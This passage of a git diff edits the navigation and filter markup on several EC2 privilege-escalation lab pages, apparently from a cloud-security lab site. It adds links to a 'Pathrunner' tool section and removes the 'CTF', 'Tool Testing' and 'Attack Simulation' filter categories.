                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ec2-002/index.html b/docs/labs/ec2-002/index.html
index 763803c7..01569e27 100644
--- a/docs/labs/ec2-002/index.html
+++ b/docs/labs/ec2-002/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ec2-003-to-bucket/index.html b/docs/labs/ec2-003-to-bucket/index.html
index 2cdb9f41..e5f20c73 100644
--- a/docs/labs/ec2-003-to-bucket/index.html
+++ b/docs/labs/ec2-003-to-bucket/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ec2-003/index.html b/docs/labs/ec2-003/index.html
index 5aff12d2..28879065 100644
--- a/docs/labs/ec2-003/index.html
+++ b/docs/labs/ec2-003/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ec2-004/index.html b/docs/labs/ec2-004/index.html
index d19580bb..5e40de65 100644
--- a/docs/labs/ec2-004/index.html
+++ b/docs/labs/ec2-004/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ec2-005/index.html b/docs/labs/ec2-005/index.html
index 0d816cc7..3e2df8b0 100644
--- a/docs/labs/ec2-005/index.html
+++ b/docs/labs/ec2-005/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
